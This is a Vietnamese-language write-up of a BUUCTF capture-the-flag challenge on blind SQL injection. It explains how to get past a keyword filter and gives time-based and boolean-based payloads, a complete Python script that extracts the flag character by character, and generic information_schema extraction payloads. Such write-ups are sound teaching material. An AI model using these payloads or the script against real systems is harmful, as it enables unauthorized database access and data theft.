Trong bài toán này, chúng ta sẽ phân tích một bài tập về SQL Blind Injection từ cuộc thi BUUCTF.
Bài toán mô tả một trang web có hành vi khác nhau tùy thuộc vào đầu vào:
- Nhập 1: Trả về chuỗi "Hello, glzjin wants a girlfriend."
- Nhập 2: Trả về chuỗi "Do you want to be my girlfriend?"
- Nhập các giá trị khác: Trả về "Error Occured When Fetch Result."
Các ký tự sau bị lọc và không thể sử dụng, kể cả khi thay đổi chữ hoa/thường:
%20 or and union ;
Phân tích và Giải pháp
Vì không có thông báo lỗi cụ thể, các kỹ thuật như lỗi-based injection hoặc union-based injection không thể áp dụng. Chúng ta phải sử dụng blind injection, dựa vào sự khác biệt trong phản hồi của máy chủ.
Kiểm tra Blind Injection
Chúng ta có thể xác minh blind injection bằng các payload đơn giản:
- Time-based Blind Injection: `id=if(1,sleep(5),0)`. Nếu trang web bị treo trong 5 giây, có nghĩa là câu lệnh `if(1,sleep(5),0)` đã được thực thi.
- Boolean-based Blind Injection: `id=(2>1)`. Nếu trang web trả về kết quả tương tự như khi nhập '1' hoặc '2', có nghĩa là biểu thức `(2>1)` được đánh giá là đúng.
Xây dựng Payload để Lấy Dữ liệu
Bài toán đã gợi ý rằng tên bảng và cột chứa flag đều là flag. Chúng ta có thể sử dụng blind injection để trích xuất từng ký tự của flag. Payload sẽ kiểm tra xem giá trị ASCII của ký tự tại một vị trí nhất định có bằng một giá trị nào đó không.
id=((select(ascii(substr(flag,vị_trí,1)))from(flag))=giá_trí_ascii)
Trong đó, `vị_trí` là vị trí của ký tự cần kiểm tra, và `giá_trí_ascii` là giá trị ASCII mà chúng ta đang đoán.
Script Tự động Hóa (Python)
Dưới đây là một script Python sử dụng kỹ thuật boolean-based blind injection để lấy flag. Script sẽ lặp qua từng vị trí của flag và thử tất cả các giá trị ASCII có thể.
import requests
# Chuỗi để kiểm tra, đây là chuỗi trả về khi điều kiện đúng
chuoi_dau_hieu = "Hello"
# Địa chỉ của trang web mục tiêu
dia_chi_muc_tieu = "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81/index.php"
# Header để giả mạo một trình duyệt
header = {
"Host": "937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate, br",
"Content-Type": "application/x-www-form-urlencoded",
"Origin": "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81",
"Connection": "keep-alive",
"Referer": "http://937f08d0-faac-415c-852f-6fff443f5c49.node5.buuoj.cn:81/index.php",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i"
}
# Phần đầu, giữa và cuối của payload
phan_dau = "id=((select(ascii(substr(flag,"
phan_giua = ",1)))from(flag))="
phan_cuoi = ")"
# Tạo một session để quản lý connection
session = requests.Session()
try:
# Lặp qua các vị trí ký tự của flag (giả sử độ dài tối đa là 50)
for vi_tri in range(1, 50):
# Lặp qua các giá trị ASCII có thể (từ 40 đến 126)
for gia_tri_ascii in range(40, 126):
# Xây dựng payload hoàn chỉnh
payload = phan_dau + str(vi_tri) + phan_giua + str(gia_tri_ascii) + phan_cuoi
# Gửi request
response = session.post(dia_chi_muc_tieu, headers=header, data=payload)
# Kiểm tra nếu request thành công
response.raise_for_status()
# Nếu chuỗi "Hello" có trong phản hồi, có nghĩa là chúng ta đã tìm đúng ký tự
if chuoi_dau_hieu in response.text:
# In ký tự ra màn hình và chuyển sang vị trí tiếp theo
print(chr(gia_tri_ascii), end='')
break
finally:
# Đóng session sau khi hoàn thành
session.close()
Tóm tắt
Khi không có thông báo lỗi, blind injection là một kỹ thuật hiệu quả để lấy dữ liệu.
Payload Blind Injection:
- Time-based: `id = if(1,sleep(5),0)` hoặc `id = 1 or if(1,sleep(2),0)`
- Boolean-based: `id = (2>1)` hoặc `id = -1 or (2>1)`
Ví dụ payload trích xuất tên bảng:
id= -1 or (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )>xxx #
Ví dụ payload trích xuất tên bảng (time-based):
id= -1 or if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )>xxx,sleep(2),0) #